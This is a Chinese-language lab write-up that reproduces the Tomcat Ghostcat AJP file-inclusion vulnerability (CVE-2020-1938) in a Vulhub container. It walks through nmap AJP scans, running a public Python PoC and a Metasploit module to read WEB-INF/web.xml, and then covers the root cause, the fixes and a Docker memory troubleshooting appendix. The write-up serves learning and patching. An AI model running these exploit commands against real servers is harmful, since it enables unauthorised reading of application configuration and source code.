CVE-2020-1938(幽灵猫 / Ghostcat)是 Tomcat AJP 协议的文件包含漏洞,CVSS 9.8。AJP(Apache JServ Protocol)是 Tomcat 与前置 Web 服务器(如 Apache HTTPD)之间的高效二进制协议,默认监听 8009 端口且无认证。AJP 连接器在转发请求时未校验 javax.servlet.include.* 系列属性的来源,攻击者直接向 AJP 端口发送构造的请求,即可指定包含路径,读取 Web 应用目录(webapps/ROOT/)下的任意文件(如 WEB-INF/web.xml、源码);若目标存在文件上传功能,可进一步包含上传的 JSP 文件实现远程代码执行。
复现基于 Vulhub 的 tomcat/CVE-2020-1938 靶场(Tomcat 9.0.30),使用 nmap AJP 脚本探测、Python POC 读取文件、Metasploit 模块验证三种方式复现,文末附容器启动失败的排查记录。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2020-1938 | 9.8 | Tomcat 6.x、7.x(< 7.0.100)、8.x(< 8.5.51)、9.x(< 9.0.31) | 文件包含(任意文件读取 / RCE) |
漏洞复现
复现环境准备
使用 Vulhub 快速搭建漏洞环境:
# 安装Docker和docker-composeapt install docker.io docker-compose
# 将 Vulhub 项目克隆到本地git clone https://github.com/vulhub/vulhub.git
# 拉取镜像并启动容器cd vulhub/tomcat/CVE-2020-1938docker-compose up -d
# 确认容器启动状态docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES26a632f74c40 vulhub/tomcat:9.0.30 "catalina.sh run" 3 minutes ago Up 3 minutes 0.0.0.0:8009->8009/tcp, :::8009->8009/tcp, 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2020-1938-tomcat-1注:如果启动容器后执行docker ps发现容器并没有如预期启动,很有可能是容器/宿主机内存不足、文件描述符限制过低导致 JVM 崩溃,解决方案见附录。
访问 http://192.168.31.148:8080 确认容器正常启动。

端口扫描与服务识别
# 使用 Nmap 官方 AJP 漏洞扫描脚本nmap --script ajp-methods,ajp-brute,ajp-request -p 8009 192.168.31.148
# 扫描结果PORT STATE SERVICE8009/tcp open ajp13| ajp-methods:|_ Supported methods: GET HEAD POST OPTIONS| ajp-request:| AJP/1.3 200 200...| ajp-brute:|_ URL does not require authenticationMAC Address: 00:0C:29:B3:23:74 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.71 secondsajp-brute: URL does not require authentication:AJP 服务无需认证即可访问。CVE-2020-1938 的核心成因就是 Tomcat 的 AJP 协议默认开启且无认证,攻击者可通过 AJP 协议读取 Web 应用目录下的任意文件或包含恶意文件。
使用 POC 脚本读取文件
Vulhub 自带了 POC,基于 CNVD-2020-10487-Tomcat-Ajp-lfi 改进而来。
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.gitcd CNVD-2020-10487-Tomcat-Ajp-lfipython2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f/WEB-INF/web.xml 192.168.31.148注意使用的是 python2 而不是 python3,若使用 python3 则需将脚本中的:
self.stream = self.socket.makefile("rb", bufsize=0)修改为:
self.stream = self.socket.makefile("rb", buffering=0)也可以直接使用 Vulhub 自带的 poc.py:
python2 poc.py 192.168.31.148 -p 8009 -f /WEB-INF/web.xml成功返回 WEB-INF/web.xml 的内容:

使用 Metasploit
# 启动 MSF 交互控制台msfconsole
# 搜索可用模块msf > search cve-2020-1938
Matching Modules================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/http/tomcat_ghostcat 2020-02-20 normal Yes Apache Tomcat AJP File Read
msf > use 0msf auxiliary(admin/http/tomcat_ghostcat) > set RHOST 192.168.31.148RHOST => 192.168.31.148msf auxiliary(admin/http/tomcat_ghostcat) > set filename /WEB-INF/web.xmlfilename => /WEB-INF/web.xmlmsf auxiliary(admin/http/tomcat_ghostcat) > run
靶机中对应的路径实际上是 /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml。利用该漏洞读取的文件被限制在 Web 应用目录(webapps/ROOT/)内,无法通过路径跳转读取系统其他位置的文件,这是 AJP 包含机制本身的限制。
漏洞核心原理
Tomcat 默认在 server.xml 中开启 AJP 协议端口(默认 8009),用于与其他 Web 服务器(如 Apache HTTPD)通信。AJP 协议在转发请求时,允许请求中携带 javax.servlet.include.request_uri、javax.servlet.include.path_info、javax.servlet.include.servlet_path 三个属性,用于指定服务端包含(SSI)的目标路径。正常情况下这些属性只应由前置服务器设置,但 AJP 连接器未校验请求来源,攻击者可以直接构造携带这些属性的 AJP 请求,让 Tomcat 包含并返回 Web 应用目录下的任意文件(如 WEB-INF/web.xml、JSP 源码)。若应用存在文件上传功能,攻击者可上传含恶意代码的文件后通过包含执行,实现远程代码执行。
修复方案
- 升级 Tomcat 至 7.0.100、8.5.51、9.0.31 或更高版本,修复方式为 AJP 连接器校验请求属性来源、过滤
..路径跳转; - 若业务不使用 AJP 协议(未与 Apache HTTPD 集成),直接在
server.xml中注释掉 AJP 连接器配置; - 必须使用 AJP 时,为连接器配置
requiredSecret属性启用认证。
参考链接
附录:容器启动失败解决方案
定位原因
执行docker-compose up -d后发现容器并没有按照预期正常启动,docker-compose logs查看日志:
tomcat-1 | # A fatal error has been detected by the Java Runtime Environment:tomcat-1 | #tomcat-1 | # SIGSEGV (0xb) at pc=0x00007f9ca649a611, pid=1, tid=0x00007f9ca5385700tomcat-1 | #tomcat-1 | # JRE version: OpenJDK Runtime Environment (8.0_242-b08) (build 1.8.0_242-b08)tomcat-1 | # Java VM: OpenJDK 64-Bit Server VM (25.242-b08 mixed mode linux-amd64 compressed oops)tomcat-1 | # Problematic frame:tomcat-1 | # C [libc.so.6+0x22611] abort+0x1fdtomcat-1 | #tomcat-1 | # Core dump written. Default location: /usr/local/tomcat/core or core.1tomcat-1 | #tomcat-1 | # An error report file with more information is saved as:tomcat-1 | # /usr/local/tomcat/hs_err_pid1.log...(中间错误详情省略)tomcat-1 | library initialization failed - unable to allocate file descriptor table - out of memory关键提示:library initialization failed - unable to allocate file descriptor table - out of memory(库初始化失败,无法分配文件描述符表)。
JVM 崩溃的本质是容器/宿主机资源不足(内存不足、文件描述符限制过低),导致 JVM 无法完成初始化,触发段错误(SIGSEGV)。
首先确认宿主机本身是否有足够的内存和资源:
# 查看宿主机内存使用情况(重点看free列的可用内存)free -h
# 查看宿主机文件描述符当前限制ulimit -n如果宿主机可用内存(free)小于 1G,必须先关闭其他占用内存的程序(比如其他容器、无用服务);如果ulimit -n返回值小于 10240,说明宿主机文件描述符限制过低,也需要修改。
修复问题
修改 vulhub/tomcat/CVE-2020-1938/docker-compose.yml 为以下完整配置:
services: tomcat: image: vulhub/tomcat:8.5.50 container_name: tomcat-1 ports: - "8080:8080" - "8009:8009" mem_limit: 1024m # 容器最大可用内存1G mem_reservation: 512m # 容器预留内存512M environment: - JAVA_OPTS=-Xms128m -Xmx256m -XX:+HeapDumpOnOutOfMemoryError ulimits: nofile: soft: 65535 hard: 65535注意缩进,缩进错误可能会导致报错:
yaml: line 5: did not find expected '-' indicator